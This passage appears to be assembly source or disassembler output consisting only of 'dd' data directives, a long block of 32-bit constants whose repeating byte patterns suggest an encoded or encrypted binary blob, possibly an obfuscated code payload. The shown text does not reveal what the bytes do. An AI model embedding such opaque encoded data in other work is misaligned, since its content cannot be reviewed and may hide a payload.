		dd 0BDD10D58h, 5B7850E0h, 0E797B058h, 0E0B5858h, 0D938F90Fh
		dd 0B0DB4849h, 44DDD15Fh, 0A7A7A4B9h, 2DA7482Dh, 6DDDD554h
		dd 8A7A4B9h, 104C4DA7h,	9CDB4851h, 0D97CF954h, 0B0DB4849h
		dd 0E757085Ah, 49D9705Dh, 5DB0DB48h, 0F95B3208h, 4849D890h
		dd 10F90810h, 574849DAh, 0D9F04DE7h, 88594849h,	85CB0DBh
		dd 58585930h, 502DA798h
		dd 33404DA7h, 0DDD14849h, 0A7A7B7D4h, 2DA7A0DBh, 44DDA77Eh
		dd 0F9A7A4B9h, 4849D954h, 44DD6110h, 2DA7A4B9h,	502DA753h
		dd 581B80B0h, 0C1B30158h, 20B19869h, 0F958584Ch, 4849D92Ch
		dd 0D88C5D5Bh, 0B0DB4849h, 0EDA70854h, 0A7A7B7D4h, 1484DA7h
		dd 1DD14851h, 480DD3A8h, 0A748DCD5h, 85859A7h, 4DA75832h
		dd 485D71B4h, 57A41DD1h, 0D9705DE7h, 0B0DB4849h, 0DDD5085Dh
		dd 0A7A4B978h, 0A82DA708h, 0A7A42DA7h, 0A7B7D4EDh, 6C4DA7A7h
		dd 0D34858A8h, 18D3A41Dh, 98DDD164h, 0D3A7A7AFh, 0A4B978DDh
		dd 58A075A7h, 0DD615858h, 0A7A7AF98h, 4BBEDF57h, 0DDD35858h
		dd 0A7A7AF98h, 0D1A41D5Bh, 0EF57A01Dh, 1D086558h, 0DD575858h
		dd 58584B94h, 57A01DD3h, 0D30418EFh, 49D8844Dh,	804D5B48h
		dd 0DB4849D8h, 886151B2h, 4BF6DC57h, 0FDDB5858h, 0A7A7B624h
		dd 0A01DD358h, 1C08EF57h, 0D9D055D3h, 99DB4849h, 2D926150h
		dd 5C4DD364h, 5B4849DAh, 49D9384Dh, 8D01248h, 58A2D842h
		dd 0EF577F2Ch, 0DDD11E18h, 0A7A4B954h, 885DE757h, 614849D8h
		dd 0A4B954DDh, 39DB57A7h, 9F58584Bh, 0A7B624DDh, 585859A7h
		dd 24E5DB58h, 58A7A7B6h, 28F9172Ch, 574849D9h, 0D8CC4DE7h
		dd 88594849h, 0B954DD61h, 412BA7A4h, 0DBA01DD3h, 0EF575E98h
		dd 5455D348h, 0DB4849D9h, 92715A99h, 0B348D13Eh, 0A01DD378h
		dd 575E98DBh, 55D348EFh, 4849DA68h, 8865E757h, 594849D8h
		dd 5CB1DBA1h, 0D13E9271h, 0A01DD348h, 58D8D8D3h, 0DDD15858h
		dd 0A7A7A388h, 0AF98DDD3h, 0DDD1A7A7h, 0A7A7B7CCh, 0B7CCDDD9h
		dd 58A0A7A7h, 70E05858h, 0D3585858h, 0EF57A015h, 0B9AF5E11h
		dd 0B950DDD1h, 0DD59A7A4h, 0A7A7B7CCh, 585870E0h, 9855D358h
		dd 0DB4849D9h, 0B9AF5A99h, 0B95CDDD1h, 0DD59A7A4h, 0A7A7B7CCh
		dd 0D3A01DD3h, 58588CD0h, 0CCD55958h, 0D3A7A7B7h, 0DD610C18h
		dd 0A7A7B7CCh, 4ADEDF57h, 0ECF95858h, 0DB4849D9h, 0DDD15CB0h
		dd 0A7A7ABF4h, 49D934F9h, 5DB0DB48h, 0F9BC1DD1h, 4849D9ACh
		dd 0D151B0DBh, 0A7B7FCDDh, 0D8A8F9A7h, 0B0DB4849h, 94DDD15Bh
		dd 0B1A7A7A3h, 5858589Ah, 585870E0h, 94FDAF58h,	0D1A7A7A3h
		dd 0A4B8A0DDh, 98DDD3A7h, 0D3A7A7AFh, 0DCD5A40Dh, 5858A048h
		dd 0A0CDD358h, 0D1A7A4B8h, 0D39E598Eh, 1E5B541Eh, 58DDD150h
		dd 0D3A7A4B9h, 1E5B4C1Eh, 0A4DDD148h, 0D3A7A4B8h, 0DD61BC1Dh
		dd 0A7A4B958h, 0DDD3512Eh, 0A7A4B958h, 0D3BC1DD1h, 0A7ABF4DDh
		dd 0A4DD61A7h, 2EA7A4B8h, 0A4DDD354h, 0D1A7A4B8h, 0A7ABF4DDh
		dd 0A01DD3A7h, 58F0D8D3h, 1E635858h, 63452A54h,	0A4B958DDh
		dd 0D34D2BA7h, 0DD34C1Eh, 0F0DA5BA0h, 73585858h, 0DDD1541Eh
		dd 0A7A7B7FCh, 0A388DDD3h, 0ED3A7A7h, 2A886154h, 500E5B4Bh
		dd 542B8861h, 5B541E73h, 0DDD14C1Eh, 0A7A7AFE4h, 0A394DDA7h
		dd 1DD3A7A7h, 18EF57A0h, 94DD615Eh, 57A7A7A3h, 0A7A773DAh
		dd 0D8C8F9A7h, 0A45D4849h, 8585857h, 0B0BC2DA7h, 58583B39h
		dd 0D1509CDBh, 0E5DBBC1Dh, 0A7A7B624h, 0D3512C58h, 0A7ABF4DDh
		dd 0A81DD1A7h, 0ABF4DDD3h, 1D61A7A7h, 0D34F2CA8h, 0E757A01Dh
		dd 49D9C04Dh, 0C8611248h, 585858F0h, 4972DC57h,	14F95858h
		dd 0DB4849DAh, 0DD6151B0h, 0A7A7B7FCh, 5893DC57h, 0F4F95858h
		dd 5B4849D9h, 49D9845Dh, 5AB0DB48h, 0B8A0DDD1h,	38F9A7A4h
		dd 0DB4849D9h, 0DDD15FB0h, 0A7A4B958h, 0DDD316B3h, 0A7A7B7FCh
		dd 0B8ACDDD1h, 44E0A7A4h, 0AF585858h, 0A4B958FDh, 0A8DDD1A7h
		dd 0D3A7A4B8h, 0A4B8ACDDh, 0A8CDD3A7h, 59A7A4B8h, 0A41D5B88h
		dd 0B8A4DDD1h, 0CDD3A7A4h, 0A7A4B8A0h, 2E400861h, 4018D351h
		dd 0B8A0DDD1h, 0DDA7A7A4h, 0A7A4B958h, 0D3A025D3h, 5858F4DFh
		dd 5844E158h, 0B0995858h, 117DE25Ah, 0BAAF7CCAh, 0B8ACCDD1h
		dd 8FD1A7A4h, 0B958E561h, 0D22AA7A4h, 0A7A01DD3h, 0EDA76428h
		dd 0A7A4B8A0h, 583A30B0h, 509CDB58h, 0B8A0DDD1h, 0DDD3A7A4h
		dd 0A7A7ABF4h, 2CA81D63h, 0A0DD6154h, 57A7A4B8h, 584813DDh
		dd 0D0FDDB58h, 58A7A7B7h, 49D96CF9h, 8C5D5B48h,	0DB4849D8h
		dd 0DDD15FB0h, 0A7A7A390h, 585969B1h, 0E4DDD358h, 5BA7A7AFh
		dd 0A7A390DDh, 0A41D5BA7h, 87A4DDD1h, 4DD3A7A4h, 4849D974h
		dd 0D9304D5Bh, 0B2DB4849h, 57486152h, 585942DCh, 0A4DDD358h
		dd 0D3A7A487h, 0DD735418h, 0A7A7A388h, 0AFE4DD5Bh, 0DDD1A7A7h
		dd 0A7A487A0h, 8A41D5Bh, 0B859DDD5h, 0A708A7A4h, 5979FC4Dh
		dd 509CDB48h, 49D918F9h, 0DDD11048h, 0A7A4B958h, 0DDD373B3h
		dd 0A7A4B958h, 595DDCD2h, 64A7A4B8h, 644C2639h,	0D3482522h
		dd 0A4B958DDh, 5DDCD5A7h, 0A7A4B859h, 0A77870D8h, 0A4B958DDh
		dd 58DDD3A7h, 57A7A4B9h, 595DDCE6h, 0D3A7A4B8h,	49D8E44Dh
		dd 55E75748h, 4849D8A4h, 0B2DB9259h, 2D88615Ah,	5DE757E9h
		dd 4849D9C8h, 0A25DE4D8h, 1DA7A487h, 4DD3392Dh,	4849DA70h
		dd 0A34DE4D8h, 0AA7A487h, 0E757092Dh, 49D9FC4Dh, 4DE4D848h
		dd 0A7A487A3h, 0D3182D13h, 49D9DC4Dh, 4DE4D848h, 0A7A4B85Bh
		dd 0D3682D6Bh, 49D9804Dh, 584D5B48h, 0D84849DAh, 87A54DE4h
		dd 2D14A7A4h, 305D5B42h, 0D84849D9h, 87A65DE4h,	2D6AA7A4h
		dd 0D0DD9F52h, 59A7A7B7h, 0DB585858h, 0A7A390DDh, 1DD34CA7h
		dd 0DCD8D3A0h, 61585858h, 0A7A390DDh, 0E2DA57A7h, 0DBA7A7A6h
		dd 0A7B7D0E5h, 0DC5758A7h, 58585680h, 0DBA01DD3h, 0DB3E4E98h
		dd 0DDD55950h, 0A7A4B96Dh, 0A38CDDD1h, 18D3A7A7h, 0E0DDD164h
		dd 5BA7A7AFh, 0A7A38CDDh, 0ECDDD1A7h, 0DBA7A7AFh, 0A7B624E5h
		dd 0DD5758A7h, 58585948h, 0D3A01DD3h, 49D9904Dh, 50B2DB48h
		dd 5888C861h, 0DC575858h, 585858A0h, 0A04DE757h, 5B4849D8h
		dd 49D8C04Dh, 56B2DB48h, 588CC861h, 0DC575858h,	58585884h
		dd 0B7CCCDD3h, 861A7A7h, 95DE570Ch, 0D3585858h,	0A7AF98DDh
		dd 58A05DA7h, 0DDD15858h, 0A7A4B8A0h, 585870E0h, 0A015D358h
		dd 5E11EF57h, 0DDD1B9AFh, 0A7A4B8ACh, 0B8A0DDD3h, 0CDD3A7A4h
		dd 0A7A4B8ACh, 0DDD18859h, 0A7A4B958h, 0B8A8DDD1h, 70E0A7A4h
		dd 0D3585858h, 49D9F455h, 0A8555B48h, 0DB4849D8h, 0B9AF5AB1h
		dd 0B8B4DDD1h, 0DDD3A7A4h, 0A7A4B8A8h, 0B8B4CDD3h, 8859A7A4h
		dd 0B8A4DDD1h, 1DD3A7A4h, 8CE8A7A0h, 0D3585858h, 0CDD3A41Dh
		dd 0A7A4B958h, 0D30A9A59h, 0A4B8A4CDh, 0A9A59A7h, 104C4DA7h
		dd 9CDB4851h, 0A01DD354h, 5858885Dh, 0B0DDD158h, 0E0A7A4B8h
		dd 58585870h, 0D99855D3h, 555B4849h, 4849D898h,	0DDD1B9AFh
		dd 0A7A4B8BCh, 0B8B0DDD3h, 9AD1A7A4h, 0B8BCD5D3h, 5259A7A4h
		dd 0A7A01DD3h, 2DA76428h, 727B0A8h, 1DD15858h, 5870E0A8h
		dd 15D35858h, 11EF57A0h, 0D1B9AF5Eh, 0A4B958DDh, 98DDD3A7h
		dd 0D3A7A7AFh, 0DCD5A40Dh, 5858A048h, 58CDD358h, 0D1A7A4B9h
		dd 0F99E598Eh, 4849D984h, 85498DBh, 49D8BCF9h, 5DB0DB48h
		dd 0DBA8D108h, 0A7084098h, 51116C4Dh, 5DE75748h, 4849DA48h
		dd 59A7A35Dh, 501ED158h, 0A7A01DD3h, 1DD36428h,	5598DB48h
		dd 757B008h, 1ED15858h,	0A81DD348h, 0AFE8DDD1h,	1DD3A7A7h
		dd 0F8DDD1BCh, 30A7A7B7h, 4849C07Dh, 585557B0h,	0A70E0858h
		dd 5979FC4Dh, 0BC1DD348h, 0F9541ED1h, 4849D914h, 5858465Dh
		dd 7C1ED1B8h, 0D1A81DD3h, 0B4F94C1Eh, 5D4849D8h, 5859A7A7h
		dd 0D3BC1D59h, 0ED3A01Dh, 500E5B54h, 0A70808D1h, 4928184Dh
		dd 65E75748h, 4849D970h, 604DE757h, 594849D9h, 5FB7DB8Fh
		dd 5858A5E1h, 0A1AFC158h
		dd 0E5D18F59h, 0A7A7B7C4h, 0A7A01DD3h, 1DD36428h, 481E5BA8h
		dd 623B008h, 9CDB5858h,	0A81DD168h, 0DBA01DD3h,	0A73E5E98h
		dd 184DA758h, 0D3484928h, 0A7AFE0E5h, 8CCDD3A7h, 0D1A7A7A3h
		dd 0A4B8A0CDh, 0A4DDD1A7h, 0E1A7A4B8h, 585858A7h, 0D3A1AFC1h
		dd 0A4B8A0D5h, 614CD0A7h, 28184DA7h, 4DD34849h,	4849DA58h
		dd 5C55E757h, 594849D9h, 5CB2DB92h, 0CDD38F59h,	0A7A7A38Ch
		dd 0B8A8CDD1h, 0DDD1A7A4h, 0A7A4B8ACh, 5858A7E1h, 0A1AFC158h
		dd 0B8A8D5D3h, 4CD0A7A4h, 9865D361h, 5B4849D9h,	49D92C65h
		dd 5FB7DB48h, 0A38CCDD3h, 15D3A7A7h, 51B19948h,	576254D0h
		dd 0D89C5DE7h, 5D5B4849h, 4849D9D4h, 0D35FB0DBh, 0A7B7C4D5h
		dd 15A9DBA7h, 0F95A54D0h, 4849D9A0h, 5B6598DBh,	49D8E45Dh
		dd 9CDDD148h, 0B3A7A7A3h, 184DA76Dh, 0D3484928h, 0A7A39CE5h
		dd 8CCDD3A7h, 0D1A7A7A3h, 0A4B8B0CDh, 0B4DDD1A7h, 0E1A7A4B8h
		dd 585858A7h, 0D3A1AFC1h, 0A4B8B0D5h, 614CD0A7h, 0A39CDDA7h
		dd 0DDD3A7A7h, 0A7A7AFE0h, 0A39CDD61h, 0E52AA7A7h, 0B624E5DBh
		dd 2C58A7A7h, 0E8DDD322h, 57A7A7AFh, 0D8884DE7h, 4D5B4849h
		dd 4849D898h, 0DD38859h, 5A5CD3A4h, 0B8BCDDD1h,	1DD3A7A4h
		dd 6C08D3A0h, 0F970085Bh, 4849D968h, 595E98DBh,	0B8CDD19Ah
		dd 0D3A7A4B8h, 0A4B8BCDDh, 0C84DD3A7h, 0DB4849D8h, 0E757AE9Ah
		dd 49DA4855h, 71925948h, 0B8DD5B88h, 0D3A7A4B8h, 49D9F44Dh
		dd 5A9ADB48h, 0DDD18859h, 0A7A4B884h, 0D3A01DD3h, 0A4B884CDh
		dd 6C0873A7h, 327008D1h, 0DAC83055h, 0DDD54849h, 0A7A4B970h
		dd 4C4DA708h, 0D3485110h, 98DB481Eh, 0DDD50855h, 0A7A4B970h
		dd 4C1ED308h, 8A41D5Bh,	104C4DA7h, 9CDB4851h, 4C1ED340h
		dd 0D15598DBh, 0A7B7C0DDh, 4DE757A7h, 4849D89Ch, 595CB2DBh
		dd 84DDD188h, 0B3A7A7A3h, 84DDD342h, 5BA7A7A3h,	0EE57A41Dh
		dd 0C4CD6B48h, 0D0A7A7B7h, 84DDA748h, 0D3A7A7A3h, 0A7B7C0DDh
		dd 481D5BA7h, 0A384DD61h, 8D2AA7A7h, 49D8E0F9h,	5CB0DB48h
		dd 0F9B01DD1h, 4849D9ACh, 9A599AD1h, 0B0DB88D1h, 98DDD14Ah
		dd 0B1A7A7A3h, 58585AB0h, 585870E0h, 98FDAF58h,	0D1A7A7A3h
		dd 0A4B8B8DDh, 0E0DDD3A7h, 0D3A7A7AFh, 0A7A38CCDh, 48DCD5A7h
		dd 585858A0h, 0B8B8CDD3h, 8BD1A7A4h, 70E09B59h,	0D3585858h
		dd 0EF57A015h, 0B9AF5E11h, 0B884DDD1h, 0DDD3A7A4h, 0A7A7AF98h
		dd 0D5A40DD3h, 58A048DCh, 0CDD35858h, 0A7A4B884h, 9E598ED1h
		dd 945DE757h, 0D84849D8h, 2D2A5B64h, 0D9F4F96Bh, 0E7574849h
		dd 49D9644Dh, 0DB885948h, 64D853B0h, 442D765Bh,	505DE757h
		dd 0D84849DAh, 3B5C4024h, 1BD3562Dh, 0DCDDD14Ch, 0B1A7A7B7h
		dd 58585A1Eh, 0A05DE757h, 0DB4849D8h, 64D85DB0h, 612D765Bh
		dd 1C5DE757h, 5B4849DAh, 49D9305Dh, 50B0DB48h, 3D5B64D8h
		dd 0BCF97B2Dh, 184849D9h, 395B64D8h, 1BD34F2Dh,	20DDD154h
		dd 0D3A7A7B6h, 0DDD14C1Bh, 0A7A7B7D8h, 5859A5B1h, 5DE75758h
		dd 4849D93Ch, 315B64D8h, 0F4F9692Dh, 574849D9h,	0D9644DE7h
		dd 88594849h, 0D853B0DBh, 2D765B64h, 5DE75742h,	4849DA48h
		dd 0D9D05D5Bh, 0B0DB4849h, 5B64D85Dh, 0E7DC5739h, 0F9585859h
		dd 4849D9ECh, 0D85CB0DBh, 57765B64h, 5858DCDDh,	0D978F958h
		dd 5D5B4849h, 4849D8A8h, 0D852B0DBh, 2D3A5B64h,	0D9BCF928h
		dd 5D5B4849h, 4849DA64h, 5B64D810h, 0DB062D2Bh,	0B8F9809Eh
		dd 5D4849D9h, 0B8585840h, 0D8E05D5Bh, 1ED14849h, 5DE7577Ch
		dd 4849D8ECh, 5857A35Dh, 2EA70858h, 29BB050h, 9FD15858h
		dd 0D150235Bh, 0F8F95026h, 5D4849D8h, 585857A3h, 0D96C5D5Bh
		dd 0D3084849h, 1B5BBC1Dh, 0C6B00850h, 0DB585802h, 1DD1489Ch
		dd 709EDBBCh, 585971B1h, 0A81DD358h, 0D34C1ED1h, 1ED1501Bh
		dd 0BC1DD350h, 0D3541ED1h, 1ED17C1Bh, 0A70E0B7Ch, 5979FC4Dh
		dd 481BD348h, 57481ED1h, 0D8885DE7h, 0E7574849h, 49D8944Dh
		dd 481CD548h, 0A8F9085Dh, 0DB4849D8h, 0D1085BB0h, 4098DBA8h
		dd 6C4DA708h, 0D3485111h, 0BD3B025h, 0E5CCD154h, 0A7A7A3B8h
		dd 0D1500BD3h, 0AF9CE5CCh, 0ED3A7A7h, 0E5CCD154h, 0A7A7ABECh
		dd 0D14C0ED3h, 0B7E8E5CCh, 1DA7A7A7h, 481BD3B0h, 0D3A81D59h
		dd 0DDD1A81Dh, 0A7A4B8BCh, 0A7A01DD3h, 2DA76428h, 1AFB0A8h
		dd 9CDB5858h, 0A81DD144h, 49D9F4F9h, 64D81048h,	782D3C5Bh
		dd 0B8BCDDD3h, 1D61A7A4h, 0D34D2EA8h, 9971A815h, 0B880D5D1h
		dd 90D1A7A4h, 0D1501E59h, 481E5990h, 0A45DE757h, 5D4849D8h
		dd 585857A6h, 541ED308h, 8501B5Bh, 5801F4B0h, 0A025D358h
		dd 0F9081FD1h, 4849DA4Ch, 5857A55Dh, 1DD30858h,	501B5BBCh
		dd 1D7B008h, 1DD15858h,	0DBA0D1BCh, 0A73E5E98h,	482EA758h
		dd 5B4C1BD3h, 0A7A38CDDh, 1ED308A7h, 0A41D5B4Ch, 4C4DA708h
		dd 0DB485110h, 0DDA7449Ch, 0A7A7A398h, 0AFECDDD3h, 0EF57A7A7h
		dd 0DD615E18h, 0A7A7A398h, 0A55ADA57h, 0DDD3A7A7h, 0A7A7B7DCh
		dd 0A38CDD5Bh, 1DD1A7A7h, 0D984F9B4h, 0E7574849h, 49D9F04Dh
		dd 0D1885948h, 4B3B81Dh, 0D3B825D3h, 4AD3B40Dh,	0B8E5CC61h
		dd 2DA7A7A3h, 0B41DD353h, 0DDD158D3h, 0A7A7ABE8h, 99B825D3h
		dd 0CCD35ABFh, 0A7A3B865h, 65CC5BA7h, 0A7A7AF9Ch, 63B425D3h
		dd 0D37A2E4Fh, 0E4D3B825h, 0A7B7E8E5h, 0C8E5D1A7h, 0D3A7A7B7h
		dd 0E4D3B825h, 0A7ABECE5h, 0F4E5D1A7h, 0B3A7A7B7h, 0B81DA753h
		dd 61B01DD3h, 0C42AB81Dh, 49DA5CF9h, 5AB0DB48h,	0A380DDD1h
		dd 3CB1A7A7h, 0D3585859h, 0A7A380DDh, 0E84DD3A7h, 5B4849D9h
		dd 49D9784Dh, 5FB2DB48h, 1D5B8859h, 0B8DDD1B4h,	3EA7A4B8h
		dd 0D13E58D3h, 0A4B8BCDDh, 0DDEF57A7h, 0A7A4B8BCh, 0D9F44DD3h
		dd 0B2DB4849h, 5788615Ah, 58596CDCh, 0E5EF5758h, 0A7A4B8BCh
		dd 884DE757h, 574849D8h, 0D91055E7h, 14D54849h,	0A78B5D52h
		dd 86E5D13Eh, 57A7A4B8h, 0B8BCE5EFh, 4DD3A7A4h,	4849D930h
		dd 0AC55E757h, 0DF4849D8h, 8B895989h, 0E5D13EBFh, 0A7A4B8BEh
		dd 0BEE5EF57h, 0D3A7A4B8h, 49D9B855h, 3EA78B48h, 0B8BEE5D1h
		dd 0EF57A7A4h, 0A4B8BEDDh, 444DD3A7h, 0DB4849D9h, 88615AB2h
		dd 0ACF94C2Dh, 0DB4849D9h, 0DD6151B0h, 0A7A7A380h, 58EBDD57h
		dd 1DD35858h, 6C18D3A0h, 0B7F4DD5Bh, 0DD3A7A7h,	735A5BB4h
		dd 0A7ABE8DDh, 0CDEF57A7h, 0A7A4B8BEh, 0DDD18859h, 0A7A4B880h
		dd 0AFECDDD3h, 18D3A7A7h, 0B40DD36Ch, 0EF575A5Bh, 0A4B8BECDh
		dd 0D18859A7h, 0A4B88CDDh, 80D5D3A7h, 71A7A4B8h, 88D5D199h
		dd 57A7A4B8h, 0B886DDEFh, 0E757A7A4h, 49D9B04Dh, 0C84D5B48h
		dd 0DB4849D8h, 886150B2h, 0DDD37F2Dh, 0A7A7B7C8h, 5BB40DD3h
		dd 0E8DD735Ah, 57A7A7ABh, 0B8BECDEFh, 8859A7A4h, 0D1A41D5Bh
		dd 0A4B894DDh, 5992D1A7h, 0D924F948h, 0B0DB4849h, 80DD595Dh
		dd 0D3A7A7A3h, 18D3B41Dh, 80DD615Ch, 57A7A7A3h,	0A7A6D2DAh
		dd 0B41DD3A7h, 595C08D3h, 0B40DD19Ah, 0AFECDDD3h, 0D8D3A7A7h
		dd 585858FCh, 0B7DCCDD3h, 0CD5BA7A7h, 0A7A7A38Ch, 1D618859h
		dd 8ADA57B4h, 0D3A7A7A5h, 10D3A01Dh, 2CD5D170h,	0D3A7A7B6h
		dd 0A7B7F8CDh, 7008D1A7h, 0B624E5DBh, 2D58A7A7h, 3898DB47h
		dd 0AFECCDD3h, 0AD3A7A7h, 0D3485938h, 98DBA01Dh, 0ECCDD330h
		dd 0D3A7A7AFh, 4859300Ah, 57A01DD3h, 0DA184DE7h, 0E7574849h
		dd 49D97055h, 0DB925948h, 0D13E5FB2h, 4DD31E08h, 4849D9A4h
		dd 5B5D9ADBh, 49D9A04Dh, 4208D048h, 0D8B84DD3h,	9ADB4849h
		dd 8D13E5Fh, 0D8DDD31Ch
		dd 5BA7A7B7h, 0A7A38CDDh, 40DDD1A7h, 0D3A7A4B9h, 0A7B7D8DDh
		dd 40CDD3A7h, 5BA7A4B9h, 0DD73441Ah, 0A7A7B620h, 0B94CDDD1h
		dd 0DD5BA7A4h, 0A7A7A38Ch, 0B948DDD1h, 58D3A7A4h, 0B7F0DDD1h
		dd 0ECF9A7A7h, 574849D9h, 0D9644DE7h, 88594849h, 0D155B0DBh
		dd 19B3841Dh, 998425D3h, 0CCD35ABFh, 0A7A3B865h, 65CC5BA7h
		dd 0A7A7AF9Ch, 0B7F0CD63h, 7A2EA7A7h, 0D38425D3h, 0A3B8E5E4h
		dd 0E5D1A7A7h, 0A7A7B634h, 0D38425D3h, 0ABECE5E4h, 0E5D1A7A7h
		dd 0A7A7B630h, 1DA753B3h, 0B01DD384h, 2A841D61h, 0A01DD3EFh
		dd 5B6C18D3h, 0A7B630DDh, 0F0DD5BA7h, 73A7A7B7h, 0A7B634DDh
		dd 28DDD1A7h, 0D3A7A7B6h, 0A7AFECDDh, 6C18D3A7h, 0B7F0DD5Bh
		dd 0DDD1A7A7h, 0A7A7B7F0h, 0AFE8DDD3h, 1DD1A7A7h, 5AD3B1ACh
		dd 1DD35858h, 0A40DD3ACh, 0D8E055D3h, 555B4849h, 4849D908h
		dd 0D15FB1DBh, 5797599Fh, 0D36254EEh, 49D8F865h, 5BB7DB48h
		dd 0DD57A161h, 58585951h, 0D8F855D3h, 0D1114849h, 5797599Fh
		dd 0D36254EEh, 49DA5C65h, 5AB7DB48h, 0DD57A161h, 585858B1h
		dd 5A54EE57h, 0D94C65D3h, 9FD94849h, 585858BCh,	0D9BC655Bh
		dd 0A1614849h, 5893DD57h, 55D35858h, 4849D984h,	0D15B99DBh
		dd 5797599Fh, 0D36254EEh, 49DA6465h, 58655B48h,	0DB4849DAh
		dd 0A1615DB7h, 58FBDD57h, 5D5B5858h, 4849D980h,	5A5CEE57h
		dd 0DA784DD3h, 4D5B4849h, 4849D9F8h, 6152B2DBh,	0DADD5788h
		dd 0D3585858h, 10D3A01Dh, 2CD55B6Ch, 0D1A7A7B6h, 0A4B8BCD5h
		dd 6C18D3A7h, 0B7F8DD5Bh, 0DD3A7A7h, 0E8CD73ACh, 59A7A7AFh
		dd 0B8DDD188h, 57A7A4B8h, 0D8AC5DE7h, 4DD34849h, 4849D9ECh
		dd 0A1481CD5h, 0B8B8DD73h, 9059A7A4h, 5C4DE757h, 0DB4849D9h
		dd 88715C9Ah, 0B884DDD1h, 0E757A7A4h, 49D8F065h, 0A0655B48h
		dd 0D34849D9h, 0E757AC0Dh, 49D8AC55h, 48555B48h, 0DB4849D9h
		dd 925952B1h, 0D1A40D5Bh, 0E214D199h, 0AC1DD3ACh, 0D1A40DD3h
		dd 0A4B8BCCDh, 6855D3A7h, 0DB4849D9h, 9FD15A99h, 0EE579759h
		dd 65D36254h, 4849D9DCh, 0CC4DE757h, 594849D9h,	0DBA2D18Fh
		dd 89615DB2h, 5940DD57h, 0E7575858h, 49DA1C4Dh,	644D5B48h
		dd 0DB4849DAh, 99D15EB2h, 0CDD38959h, 0A7A4B8BCh, 524CEE57h
		dd 0D91455D3h, 555B4849h, 4849D9B4h, 615DB1DBh,	0BBDD5792h
		dd 0D3585858h, 49D9044Dh, 484D5B48h, 0DB4849D9h, 99D153B2h
		dd 0CDD38959h, 0A7A4B8BCh, 524CEE57h, 0D97455D3h, 0B1DB4849h
		dd 57926150h, 5858EDDDh, 0BCCDD358h, 57A7A4B8h,	575A4CEEh
		dd 0DA1855E7h, 99D94849h, 585858B8h, 0DD579261h, 585858CEh
		dd 0DA6C4DD3h, 0E7574849h, 49DA5055h, 0DB925948h, 88595DB2h
		dd 0B8BCCDD3h, 0EE57A7A4h, 4DD35A5Ch, 4849DA74h, 615FB2DBh
		dd 0D3332D88h, 18D3A01Dh, 0F8DD5B6Ch, 0D3A7A7B7h, 0CD73AC0Dh
		dd 0A7A7AFE8h, 0DDD18859h, 0A7A4B8B8h, 0B628DDD3h, 0DDD1A7A7h
		dd 0A7A4B884h, 0A05DE757h, 0DB4849D8h, 0DD73A298h, 0A7A4B8B8h
		dd 0B884DD5Bh, 4DD3A7A4h, 4849D880h, 715AB2DBh,	80DDD188h
		dd 57A7A4B8h, 0D95C65E7h, 0DD34849h, 0E455D3ACh, 194849D8h
		dd 0D5B9259h, 0D199D1A4h, 1DA7E254h, 0E8DDD3ACh, 0DBA7A7AFh
		dd 1D615598h, 3BDA57ACh, 0A7A7A7A5h, 0A7B7D4EDh, 104DA7A7h
		dd 0A7485111h, 0DDD5502Dh, 0A7A7B6D9h, 0FC4DA708h, 0DB485979h
		dd 1DD3509Ch, 0DB99D150h, 0D818A790h, 2D585964h, 7CDDD1A1h
		dd 0D3A7A4B9h, 49D9844Dh, 55E75748h, 4849D9C0h,	88719259h
		dd 0D95DDC9Eh, 2AA7A7B6h, 0B97CDDD3h, 0E757A7A4h, 49DA504Dh
		dd 5A9ADB48h, 0DC9E8871h, 0A7B6D95Dh, 0DDD331A7h, 0A7A4B97Ch
		dd 0D9204DD3h, 0B2DB4849h, 9E88715Fh, 0B6D95DDCh, 0F92EA7A7h
		dd 4849D96Ch, 85AB0DBh,	49D9D4F9h, 59B0DB48h, 575A3208h
		dd 0D8EC5DE7h, 0B0DB4849h, 0F4F9085Dh, 0DB4849D8h, 30085FB0h
		dd 18585858h, 0B6D9DDD5h, 0A708A7A7h, 4933404Dh, 0D4DDD148h
		dd 0F9A7A7B7h, 4849D924h, 85FB0DBh, 0B978DDD5h,	0A708A7A4h
		dd 2DA7A82Dh, 0D4EDA7A4h, 0A7A7A7B7h, 4937444Dh, 0D4EDA748h
		dd 0A7A7A7B7h, 5111104Dh, 0A42DA748h, 7D944DA7h, 58324859h
		dd 0D5502DA7h, 0A7B6D9DDh, 4DA708A7h, 48516D1Ch, 0B6D9DDD5h
		dd 0A708A7A7h, 58A8544Dh, 5859E048h, 4FB35858h,	0B7D4EDA7h
		dd 4DA7A7A7h, 48511110h, 0A7A42DA7h, 597D944Dh,	7986948h
		dd 9B910306h, 9BDD10Dh,	0D30F0E0Bh, 65DB5025h, 4849DA08h
		dd 304D2D58h, 48492808h, 57944DA7h, 5D9F4859h, 4849DA08h
		dd 58585859h, 0D96C6DD3h, 571E4849h, 0EE5747EEh, 0EF57590Fh
		dd 50BA998Ah, 0EF578B51h, 3E865983h, 57A42DD1h,	0D3A41DEFh
		dd 49D9004Dh, 684D5B48h, 124849DAh, 0DC578861h,	585858DFh
		dd 49280830h, 44DA748h,	57484901h, 0D8AC5DE7h, 0E7574849h
		dd 49D91C4Dh, 0DB885948h, 0D13E5BB0h, 4DB3A61Dh, 0A61DEF57h
		dd 0E657A059h, 17E65748h, 0D092695Ah, 1DA73E48h, 1DEF57A6h
		dd 0DEF57A6h, 248861A4h, 5DE75787h, 4849D894h, 4DE75710h
		dd 4849D8A0h, 0D05DB2DBh, 0E7575F4Ch, 49D9C05Dh, 905D5B48h
		dd 0DB4849D9h, 4DD350B0h, 4849D8B8h, 0D97C4D5Bh, 0B2DB4849h
		dd 5F4CD050h, 49280830h, 184DA748h, 0D5485111h,	6075B1Fh
		dd 0D9B9103h, 0B4D9BDD1h, 58585B74h, 0A70F0E0Bh, 4DA7542Dh
		dd 4855017Ch, 502DA701h, 0A4B2DDD5h, 0B008A7A7h, 5858F191h
		dd 0A4B2D5D5h, 90DBA7A7h, 64D818A7h, 0A12D5859h, 0DA5C4DD3h
		dd 4D5B4849h, 4849D8C0h, 0D152B2DBh, 0D38B719Bh, 49D9D84Dh
		dd 45CCD048h, 0A7A7A4B2h, 49D90CF9h, 4DE75748h,	4849D95Ch
		dd 8F599FD1h, 0D150B7DBh, 9055D3A0h, 194849D8h,	0DDD1B9AFh
		dd 0A7A7A4B8h, 65DCE657h, 0A7A7A4B2h, 0A4B8CDD3h, 0DCD0A7A7h
		dd 0A7A5B64Dh, 0D3A0D1A7h, 49D8BC55h, 5BB1DB48h, 0DDD1B9AFh
		dd 0A7A7A484h, 49D9F8F9h, 0C45D5B48h, 0DB4849D9h, 0CDD353B0h
